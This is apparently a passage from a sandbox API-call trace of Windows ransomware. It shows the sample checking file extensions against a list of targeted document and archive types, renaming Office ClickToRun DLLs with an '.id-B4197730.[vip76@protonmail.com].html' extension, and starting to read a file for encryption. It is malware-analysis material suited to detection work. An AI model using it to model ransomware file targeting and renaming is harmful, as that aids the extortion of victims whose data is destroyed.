	[0081.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString=".doc") returned 4
	[0081.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString=".docx") returned 5
	[0081.062] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.062] lstrlenW (lpString=".pdf") returned 4
	[0081.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString=".xls") returned 4
	[0081.062] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString=".xlsx") returned 5
	[0081.062] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.063] lstrlenW (lpString=".ppt") returned 4
	[0081.063] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.063] lstrlenW (lpString=".zip") returned 4
	[0081.063] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.063] lstrlenW (lpString=".rar") returned 4
	[0081.063] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.063] lstrlenW (lpString=".bz2") returned 4
	[0081.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.063] lstrlenW (lpString=".7z") returned 3
	[0081.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.063] lstrlenW (lpString=".dbf") returned 4
	[0081.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.063] lstrlenW (lpString=".1cd") returned 4
	[0081.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.063] lstrlenW (lpString=".jpg") returned 4
	[0081.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.063] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.063] lstrlenW (lpString="mso30win32client.dll") returned 20
	[0081.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.064] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4677216) returned 1
	[0081.064] CloseHandle (hObject=0x38c) returned 1
	[0081.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20
	[0081.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0081.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.074] lstrlenW (lpString=".doc") returned 4
	[0081.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.074] lstrlenW (lpString=".docx") returned 5
	[0081.074] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.074] lstrlenW (lpString=".pdf") returned 4
	[0081.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.074] lstrlenW (lpString=".xls") returned 4
	[0081.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.074] lstrlenW (lpString=".xlsx") returned 5
	[0081.074] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.074] lstrlenW (lpString=".ppt") returned 4
	[0081.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.074] lstrlenW (lpString=".zip") returned 4
	[0081.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.074] lstrlenW (lpString=".rar") returned 4
	[0081.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString=".bz2") returned 4
	[0081.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.075] lstrlenW (lpString=".7z") returned 3
	[0081.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString=".dbf") returned 4
	[0081.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString=".1cd") returned 4
	[0081.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString=".jpg") returned 4
	[0081.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString=".doc") returned 4
	[0081.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString=".docx") returned 5
	[0081.075] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.075] lstrlenW (lpString=".pdf") returned 4
	[0081.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString=".xls") returned 4
	[0081.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString=".xlsx") returned 5
	[0081.075] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.075] lstrlenW (lpString=".ppt") returned 4
	[0081.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.075] lstrlenW (lpString=".zip") returned 4
	[0081.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.075] lstrlenW (lpString=".rar") returned 4
	[0081.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.076] lstrlenW (lpString=".bz2") returned 4
	[0081.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.076] lstrlenW (lpString=".7z") returned 3
	[0081.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.076] lstrlenW (lpString=".dbf") returned 4
	[0081.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.076] lstrlenW (lpString=".1cd") returned 4
	[0081.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0081.076] lstrlenW (lpString=".jpg") returned 4
	[0081.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.076] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.076] lstrlenW (lpString="mso40uires.dll") returned 14
	[0081.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3177152) returned 1
	[0081.076] CloseHandle (hObject=0x38c) returned 1
	[0081.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20
	[0081.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0081.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.078] lstrlenW (lpString=".doc") returned 4
	[0081.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.078] lstrlenW (lpString=".docx") returned 5
	[0081.078] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0081.078] lstrlenW (lpString=".pdf") returned 4
	[0081.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.078] lstrlenW (lpString=".xls") returned 4
	[0081.078] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.078] lstrlenW (lpString=".xlsx") returned 5
	[0081.078] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0081.078] lstrlenW (lpString=".ppt") returned 4
	[0081.078] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.078] lstrlenW (lpString=".zip") returned 4
	[0081.078] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.078] lstrlenW (lpString=".rar") returned 4
	[0081.078] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.079] lstrlenW (lpString=".bz2") returned 4
	[0081.079] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.079] lstrlenW (lpString=".7z") returned 3
	[0081.079] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.079] lstrlenW (lpString=".dbf") returned 4
	[0081.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.079] lstrlenW (lpString=".1cd") returned 4
	[0081.079] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.079] lstrlenW (lpString=".jpg") returned 4
	[0081.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.079] lstrlenW (lpString=".doc") returned 4
	[0081.085] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString=".docx") returned 5
	[0081.085] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0081.085] lstrlenW (lpString=".pdf") returned 4
	[0081.085] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString=".xls") returned 4
	[0081.085] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString=".xlsx") returned 5
	[0081.085] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0081.085] lstrlenW (lpString=".ppt") returned 4
	[0081.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.085] lstrlenW (lpString=".zip") returned 4
	[0081.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString=".rar") returned 4
	[0081.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.085] lstrlenW (lpString=".bz2") returned 4
	[0081.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.085] lstrlenW (lpString=".7z") returned 3
	[0081.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.085] lstrlenW (lpString=".dbf") returned 4
	[0081.086] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.086] lstrlenW (lpString=".1cd") returned 4
	[0081.086] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0081.086] lstrlenW (lpString=".jpg") returned 4
	[0081.086] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.086] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.086] lstrlenW (lpString="mso40uiwin32client.dll") returned 22
	[0081.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.086] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9330784) returned 1
	[0081.086] CloseHandle (hObject=0x38c) returned 1
	[0081.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20
	[0081.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0081.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.091] lstrlenW (lpString=".doc") returned 4
	[0081.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.091] lstrlenW (lpString=".docx") returned 5
	[0081.091] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.091] lstrlenW (lpString=".pdf") returned 4
	[0081.091] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.091] lstrlenW (lpString=".xls") returned 4
	[0081.091] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.091] lstrlenW (lpString=".xlsx") returned 5
	[0081.092] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.092] lstrlenW (lpString=".ppt") returned 4
	[0081.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString=".zip") returned 4
	[0081.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString=".rar") returned 4
	[0081.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString=".bz2") returned 4
	[0081.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.092] lstrlenW (lpString=".7z") returned 3
	[0081.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString=".dbf") returned 4
	[0081.092] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString=".1cd") returned 4
	[0081.092] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString=".jpg") returned 4
	[0081.092] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.092] lstrlenW (lpString=".doc") returned 4
	[0081.092] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString=".docx") returned 5
	[0081.092] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.092] lstrlenW (lpString=".pdf") returned 4
	[0081.092] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString=".xls") returned 4
	[0081.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.092] lstrlenW (lpString=".xlsx") returned 5
	[0081.093] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.093] lstrlenW (lpString=".ppt") returned 4
	[0081.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.093] lstrlenW (lpString=".zip") returned 4
	[0081.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.093] lstrlenW (lpString=".rar") returned 4
	[0081.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.093] lstrlenW (lpString=".bz2") returned 4
	[0081.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.093] lstrlenW (lpString=".7z") returned 3
	[0081.093] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.093] lstrlenW (lpString=".dbf") returned 4
	[0081.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.093] lstrlenW (lpString=".1cd") returned 4
	[0081.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0081.093] lstrlenW (lpString=".jpg") returned 4
	[0081.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.093] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.093] lstrlenW (lpString="msointl30.en-us.dll") returned 19
	[0081.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.094] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=61024) returned 1
	[0081.094] CloseHandle (hObject=0x38c) returned 1
	[0081.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20
	[0081.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.094] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.094] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.094] GetLastError () returned 0x0
	[0081.094] ReadFile (in: hFile=0x38c, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xee60, lpOverlapped=0x0) returned 1
